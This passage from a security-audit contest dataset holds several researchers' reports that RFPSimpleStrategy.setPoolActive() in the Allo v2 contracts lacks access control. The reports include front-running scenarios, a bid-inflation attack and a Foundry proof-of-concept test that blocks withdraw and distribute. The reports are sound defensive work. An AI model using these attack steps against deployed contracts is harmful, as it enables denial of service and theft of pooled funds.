Snippet\n[https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222)\n\n[https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/BaseStrategy.sol#L276-L279](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/BaseStrategy.sol#L276-L279)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `onlyPoolManager` modifier on `setPoolActive()`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/526.md"}} +{"title":"No access control in setPoolActive function.","severity":"major","body":"Jovial Red Antelope\n\nmedium\n\n# No access control in setPoolActive function.\nAnyone can set the pool to active or non-active due to lack of access control in the ```setPoolActive``` function in the ```RPFSimpleStrategy``` contract where an attacker can frontrun a function call which has the modifiers ```onlyActivePool``` and ```onlyInactivePool``` to cause it to fail. \n\n## Vulnerability Detail\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nthis function in the ```RPFSimpleStrategy``` can be called by anyone to set the pool to be either active or Inactive which could result in\n * someone frontrunning the function call which has the ```onlyActivePool``` modifiers by setting the pool to Inactive \n * or setting it to true when functions with ```onlyInactivePool``` modifiers are called to revert the transaction.\n\n## Impact\nEvery time ```allocate```, ```registerRecipient``` and ```withdraw``` functions are called it can be DoS by a fruntrunner.\nIn the case of the ```withdraw``` function it can cause the Poolmanager to be unable to withdraw the tokens. \nIt will also impact the ```RFPCommitteeStrategy``` contract since it inherit from the ```RPFSimpleStrategy``` contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C4-L222C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\ngive the ```setPoolActive``` function a proper access control.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/511.md"}} +{"title":"Lack of Access Control leaves RFPSimpleStrategy.sol vulnerable to DoS attacks, freezing the funds.","severity":"major","body":"Damaged Cornflower Turkey\n\nhigh\n\n# Lack of Access Control leaves RFPSimpleStrategy.sol vulnerable to DoS attacks, freezing the funds.\n`setActivePool` has no access controls. This means everyone can change the pool to active/inactive. A malicious user can front run every`distribute` and `withdraw` function by setting the pool to `active`. This means the funds will not be able to be distributed nor withdrawn, leaving the funds stuck in the strategy contract.\n## Vulnerability Detail\n\nAccording to the [documentation](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217) in `RFPSimpleStrategy.sol`:\n```javascript\nsource: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n/// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n```\nHowever, anyone can call `setPoolActive` in `RFPSimpleStrategy.sol`:\n```javascript\nsource: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n// findings marked with <=\nfunction setPoolActive(bool _flag) external <= // no access control{\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nThere is no access controls stopping anyone from setting the pool to active or inactive. \nThis opens up a lot of attack vectors for malicious users, for example, the `_distribute` function can only be called when the pool is inactive:\n```javascript\nsource: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n// findings marked with <=\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n\t\tonlyInactivePool <= //requires the pool to be inactive\n onlyPoolManager(_sender)\n {\n```\nA malicious user can decide call `setPoolActive` with `true` every time a pool manager wants to distribute the funds.\n\nThe same logic applies to the `withdraw` function:\n```javascript\nsource: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n// findings marked with <=\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) \n onlyInactivePool <=// requires the pool to be inactive\n {\n poolAmount -= _amount;\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\n\nThis POC contains two tests, showcasing how a malicious user can prevent anyone from calling the `withdraw` function or the `distribute` function:\n```javascript\nsource: test/foundry/strategies/RFPSimpleStrategy.t.sol\n\n// place in test/foundry/strategies/RFPSimpleStrategy.t.sol\n// run using:\n// forge test --match-contract RFPSimpleStrategy --match-test test_dosDistribute -vvvv\n function test_dosDistribute() public {\n address hacker = makeAddr(\"1337pwner\");\n\n // create recipientId\n address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();\n // give the admin 1e19 native token\n vm.deal(pool_admin(), 1e19);\n\n vm.prank(pool_admin());\n // fund the pool with 1e19 native token\n allo().fundPool{value: 1e19}(poolId, 1e19);\n \n // the hacker frontruns the distribute call by setting the pool to active\n vm.prank(hacker);\n strategy.setPoolActive(true);\n\n // distribute will fail with the error message: POOL_ACTIVE()\n vm.expectRevert(POOL_ACTIVE.selector);\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n }\n\n\n// run using:\n// forge test --match-contract RFPSimpleStrategy --match-test test_dosWithdraw -vvvv\n function test_dosWithdraw() public {\n address hacker = makeAddr(\"1337pwner\");\n\n // create recipientId\n address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();\n // give the admin 1e19 native token\n vm.deal(pool_admin(), 1e19);\n\n vm.prank(pool_admin());\n // fund the pool with 1e19 native token\n allo().fundPool{value: 1e19}(poolId, 1e19);\n \n // the hacker frontruns the distribute call by setting the pool to active\n vm.prank(hacker);\n strategy.setPoolActive(true);\n\n // withdraw will fail with the error message: POOL_ACTIVE()\n vm.expectRevert(POOL_ACTIVE.selector);\n vm.prank(pool_admin());\n strategy.withdraw(1e19);\n }\n```\n\nThese are all the functions in `RFPSimpleStrategy.sol` that have either `onlyActivePool` or `onlyInactivePool`:\n```javascript\n//onlyActivePool\n function _registerRecipient(bytes memory _data, address _sender)\n function _allocate(bytes memory _data, address _sender)\n\n//onlyInactivePool\n function _distribute(address[] memory, bytes memory, address _sender)\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n\n```\nA malicious user can deny anyone from calling these by setting the value that makes `onlyActive `or `onlyInactive` fail.\n## Impact\nFunds will be stuck in the contract, withdraw will not be possible. Cost for the malicious user is low. \nLikelihood is very high. Everyone can call `setPoolActive` and change the flag to whatever he wants.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n## Tool used\nManual Review\n## Recommendation\nAdd `onlyPoolManager(msg.sender)` as a modifier to the `setPoolActive` function. This is what the function should look like:\n```javascript\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/507.md"}} +{"title":"Missing Access Control in RFPSimpleStrategy:setPoolActive()","severity":"major","body":"Glamorous Amber Trout\n\nmedium\n\n# Missing Access Control in RFPSimpleStrategy:setPoolActive()\nThe bug in the `RFPSimpleStrategy:setPoolActive()` function relates to missing access control, potentially allowing unauthorized/any users to activate or deactivate the pool. To fix this, we can modifiers or role-based permissions.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Vulnerability Detail\nAccording to @dev `'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.`\nIt arises when the smart contract lacks proper authorization checks, allowing any address to activate or deactivate a pool. This can lead to unauthorized users manipulating the pool's active status, potentially disrupting its intended functionality. To address this vulnerability, implement access control mechanisms like modifiers or roles to restrict access to this critical function, ensuring that only authorized administrators or contracts can change the pool's active state.\n\n## Impact\nThe missing access control bug in \"RFPSimpleStrategy:setPoolActive()\" can have a detrimental impact. Unauthorized individuals can manipulate pool activation, potentially leading to financial losses, data integrity issues, and reputational harm. This bug poses risks, including unauthorized access to assets, potential legal violations, and damage to the project's reputation. \n\n## Code Snippet\n```solidity\n-- function setPoolActive(bool _flag) external {\n++ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender){\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nUse `onlyPoolManager(msg.sender)` modifier in setPoolActive()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/501.md"}} +{"title":"The attacker can freely make the `pool` to be `active` or `inactive` about `RFPSimpleStrategy`.","severity":"major","body":"Hot Zinc Hippo\n\nhigh\n\n# The attacker can freely make the `pool` to be `active` or `inactive` about `RFPSimpleStrategy`.\n`RFPSimpleStrategy.setPoolActive` did not contain any checks about `msg.sender`, so the attacker can freely make the `pool` to be `active` or `inactive`.\n\n## Vulnerability Detail\n`RFPSimpleStrategy.sol#setPoolActive` is as following.\n```solidity\nFile: RFPSimpleStrategy.sol\n216: /// @notice Toggle the status between active and inactive.\n217: /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n218: /// @param _flag The flag to set the pool to active or inactive\n219: function setPoolActive(bool _flag) external {\n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n```\nThis function is external and due to lack of the onlyPoolManager modifier, it can be called by anybody.\nAs we can see from the description of this function, `msg.sender` has to be `pool manager`.\nBut the real implementation of this function didn't check about `msg.sender`.\n\n## Impact\nThe attacker can freely make the `pool` to be `active` or `inactive` using `RFPSimpleStrategy.setPoolActive`.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\nManual Review\n\n## Recommendation\n`RFPSimpleStrategy.sol#setPoolActive` has to check `msg.sender` like following.\n```solidity\nFile: RFPSimpleStrategy.sol\n216: /// @notice Toggle the status between active and inactive.\n217: /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n218: /// @param _flag The flag to set the pool to active or inactive\n219: - function setPoolActive(bool _flag) external {\n219: + function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/479.md"}} +{"title":"RFPSimpleStrategy.setPoolActive lacks access control","severity":"major","body":"Furry Cider Panda\n\nmedium\n\n# RFPSimpleStrategy.setPoolActive lacks access control\n\nAnyone can set `poolActive` to true or false via [[setPoolActive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222). The [[onlyActivePool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L74-L77)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L74-L77) and [[onlyInactivePool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L81-L84)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L81-L84) modifiers depend on `poolActive`. In RFPSimpleStrategy, the functions with `onlyActivePool` are: [[_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317) and [[_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391). The functions with `onlyInactivePool` are: [[_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421) and [[withdraw](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295). This means that malicious users can affect these functions via `setPoolActive`, causing tx revert.\n\n## Vulnerability Detail\n\nConsider the following scenario:\n\n1. The pool manager selects the recipient for RFP allocation via `allocate`, `poolActive` is set to false.\n2. The pool manager calls `distribute` to distribute funds to recipients. tx1 enters the memory pool.\n3. The malicious user notices tx1 and immediately initiates `setPoolActive(true)` to front-run tx1. tx2 enters the memory pool.\n4. tx2 is executed and `poolActive` is set to true.\n5. tx1 is executed, causing revert due to `onlyInactivePool` modifier.\n\nThis does not necessarily require using front-run. A malicious user can choose whether to call `setPoolActive` to change `poolActive` at any time based on the current value, as long as it can affect the above four functions and prevent them from working as expected.\n\n## Impact\n\nA malicious user can make `_registerRecipient`/`_allocate`/`_distribute`/`withdraw` revert at any time.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```fix\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n219:- function setPoolActive(bool _flag) external {\n219:+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/477.md"}} +{"title":"Missing access modifier for `RFPSimpleStrategy.setPoolActive()` may lead to multiple issues","severity":"major","body":"Future Sangria Giraffe\n\nhigh\n\n# Missing access modifier for `RFPSimpleStrategy.setPoolActive()` may lead to multiple issues\n\n`RFPSimpleStrategy.setPoolActive()` can be called by anybody since it's missing the `onlyPoolManager(msg.sender)` modifier, which can be abused by a malicious actor to steal funds.\n\n## Vulnerability Detail\n\nThe comment on line 217 in RFPSimpleStrategy.sol says that `'msg.sender' must be a pool manager` in order to be able to call `RFPSimpleStrategy.setPoolActive()`. However, the necessary `onlyPoolManager(msg.sender)` modifier is missing.\n\n## Impact\n\nMultiple functions inside `RFPSimpleStrategy.sol` are either using the `onlyActivePool` or the `onlyInactivePool` modifiers:\n\n* `RFPSimpleStrategy._distribute()`\n* `RFPSimpleStrategy.withdraw()`\n* `RFPSimpleStrategy._registerRecipient()`\n* `RFPSimpleStrategy._allocate()`\n\nA malicious actor (Alice) might do the following for example:\n\n1. Alice registers themself as recipient for a `RFPSimpleStrategy`, specifying a `proposalBid` which is `15e18`.\n1. Alice is being declared as the accepted recipient by the pool manager.\n1. Now if the tokens were distributed to Alice, the amount of tokens Alice would receive would be `(15e18 * milestone.amountPercentage) / 1e18` (line 435 RFPSimpleStrategy.sol).\n1. However, Alice calls `RFPSimpleStrategy.setPoolActive()` to make the pool active again, before the tokens are distributed. Alice might do this by either frontrunning or by executing the tx earlier.\n1. Now Alice can call `RFPSimpleStrategy._registerRecipient()`, since the pool is active again, and Alice re-registers themself but with a higher `proposalBid` than was accepted before (line 378 RFPSimpleStrategy.sol), for example they re-register with a `proposalBid` of `60e18`.\n1. Then Alice calls `RFPSimpleStrategy.setPoolActive()` to set the pool inactive, so that the tokens can be distributed.\n1. Now when the tokens are distributed to Alice for the first milestone (and later also for subsequent milestones), they receive a much higher amount of tokens, since Alice maliciously increased their accepted `proposalBid` from `15e18` to `60e18`, so they would now receive `(60e18 * milestone.amountPercentage) / 1e18` (line 435 RFPSimpleStrategy.sol) which is more than was accepted.\n\nThe above example illustrates how Alice can abuse setting the pool to active and inactive to change their accepted `proposalBid` to receive more tokens.\n\nAlso, Alice could potentially steal funds from the strategy, if they get accepted with a smaller `proposalBid` and then maliciously increase the `proposalBid` as described in the above example, so that Alice would receive a much higher amount of tokens that they are not eligible to receive and that are effectively being stolen from the funds of the strategy.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217-L221\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L393\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding the missing access modifier `onlyPoolManager(msg.sender)` to `RFPSimpleStrategy.setPoolActive()`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/458-best.md"}} +{"title":"anyone can call setPoolActive() in RFPSimpleStrategy to make it active/inactive","severity":"major","body":"Mythical Raisin Camel\n\nmedium\n\n# anyone can call setPoolActive() in RFPSimpleStrategy to make it active/inactive\nanyone can call setPoolActive() in RFPSimpleStrategy to set it's active/inactive state. there is no access control on the function. \n\n## Vulnerability Detail\nAccording to the function's natspec comments, only the pool manager should be able to call the setPoolActive function to close the pool but anyone can call setPoolActive() to set it active/inactive state. there is no access control on the function. \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217\n\n## Impact\nimportant contract function setPoolActive() is open to anyone to call. Anyone can set the state and gain access to other core functions when pool is set to inactive. Here the functionality of the protocol can be impaired and it's avaliabilty can be affected too as it can be accessed when it ought not to be. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C1-L223C1\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nadd a modifier to check that msg.sender is a pool manager and revert if not a pool manager","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/453.md"}} +{"title":"`setPool` can be called by anyone","severity":"major","body":"Jumpy Pear Beaver\n\nhigh\n\n# `setPool` can be called by anyone\nsince there is no access control on `setPool` it enables loss of funds and dos attacks \n## Vulnerability Detail\nsince this code snippet below says it needs the permission of the pool Manager and it doesn't have that control. Anyone can call it.\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag); // @audit-confirmed input validatoin\n emit PoolActive(_flag);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n## Impact\n1. Dos attack by frontrunning and then backrunning the user/Pool manager actions\n2. making the pool active to register more\n3. front run distribute or all the PoolManager funds to cause reverts and not allow allocating and distributing,withdraw\n4. The attacker can increase their proposalBid by turning the pool active then turning the pool inactive as `distribute` gets called\n## Code Snippet\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\nhere is an example of how an attacker can cause reverts and make the funds stuck in the contract or gain unfair advantages \n## Tool used\n\nManual Review\n\n## Recommendation\nset PoolManager modifier/function access control as the comments say","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/450.md"}} +{"title":"`RFPSimpleStrategy::setPoolActive()` is missing access control","severity":"major","body":"Energetic Berry Llama\n\nhigh\n\n# `RFPSimpleStrategy::setPoolActive()` is missing access control\n`RFPSimpleStrategy::setPoolActive()` function should be callable only by pool managers but it can be called by anyone.\n\n## Vulnerability Detail\n`RFPSimpleStrategy::setPoolActive()` function is missing access control checks and can be called by anyone.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L222C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L222C6)\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Impact\n- A bad actor can inactivate the pool and prevent allocation which can only be called when the pool is active.\n- A bad actor can activate the pool and prevent distribution which can only be called when the pool is inactive.\n\nAttackers can easily DOS these core actions.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L222C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L222C6)\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `onlyPoolManager` modifier to the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/443.md"}} +{"title":"No authorization for function `setActivePool` in contract `RFPSimpleStrategy`","severity":"major","body":"Shiny Gingham Bee\n\nhigh\n\n# No authorization for function `setActivePool` in contract `RFPSimpleStrategy`\nNo authorization implemented for function `setActivePool` in contract `RFPSimpleStrategy`, which lets malicious actors set values for `poolActive` status. Contract `RFPCommitteeStrategy` also gets affected because it inherits `RFPSimpleStrategy`\n\n## Vulnerability Detail\nNo authorization implemented for function `setActivePool`: \nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222.\nThis could let malicious actor to block pool functions, such as:\n- Set poolActive to false to block registering recipients and allocating\n- Set poolActive to true to block distributing and pool manager withdrawing\n\n## Impact\n1. Pool manager could drain all pool tokens without any delay\n2. Pool functions could be blocked\n## Code Snippet\n[No authorization implemented for function `setActivePool`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222.)\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd `onlyPoolManager` modifier for the function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/441.md"}} +{"title":"Missing access control on ````setPoolActive()```` of ````RFPSimpleStrategy````","severity":"major","body":"Atomic Ultraviolet Mole\n\nhigh\n\n# Missing access control on ````setPoolActive()```` of ````RFPSimpleStrategy````\nThe ````setPoolActive()```` function of ````RFPSimpleStrategy```` contract is missing ````onlyPoolManager```` modifier, it would cause series of proplems, such as front running pool manager's ````distribute()```` call to keep pool always ````active```` and block fund distribution.\n\n## Vulnerability Detail\nAs the comment on L217, the ````msg.sender```` must be a pool manager.\n```solidity\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n216: /// @notice Toggle the status between active and inactive.\n217: /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n218: /// @param _flag The flag to set the pool to active or inactive\n219: function setPoolActive(bool _flag) external { // @audit only pool manager\n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n```\n\n\n\n## Impact\nAll pool status related functions are affected, such as ````_registerRecipient()````, ````_allocate()```` and ````_distribute()````.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdding ````onlyPoolManager```` modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/423.md"}} +{"title":"Function `setPoolActive()` in RFPSimpleStrategy contract can be called by anyone causing DOS","severity":"major","body":"Immense Teal Penguin\n\nmedium\n\n# Function `setPoolActive()` in RFPSimpleStrategy contract can be called by anyone causing DOS\nFunction `setPoolActive()` in RFPSimpleStrategy contract can be called by anyone causing DOS\n## Vulnerability Detail\nFunction `setPoolActive()` should be only set by pool manager, but it doesn't\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n## Impact\nFunction can be only accessed with active pool (having `onlyActivePool` modifier):\n - `registerRecipient()`\n - `allocate()`\n\nFunction can be only accessed with inactive pool (having `onlyInactivePool` modifier):\n - `withdraw()`\n - `distribute()`\n\nIf anyone can toggle the state of `poolActive` variable, then those function can be DOS\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C1-L223C1\n## Tool used\n\nManual Review\n\n## Recommendation\nAdding `onlyPoolManager(msg.sender)` modifier to this function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/421.md"}} +{"title":"Anyone can change the pool state to active or in-active","severity":"major","body":"Obedient Basil Lizard\n\nhigh\n\n# Anyone can change the pool state to active or in-active\nIn **RFPSimpleStrategy** [setPoolActive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222) lacks access restriction modifiers, enabling anyone to call it and change the pool to active or in-active.\n\n## Vulnerability Detail\nThis can be to DoS some function, like [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391) since it requires the pool to be active. \nExample:\n1. Manager calls [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391)\n2. User sees this TX and front runns it with a call to [setPoolActive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222) changing the pool state to inactive `isActive -> flase`\n3. The manager TX reverts since [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391) requires the pool to be active.\n\nThis way a user has DoS a manger call. 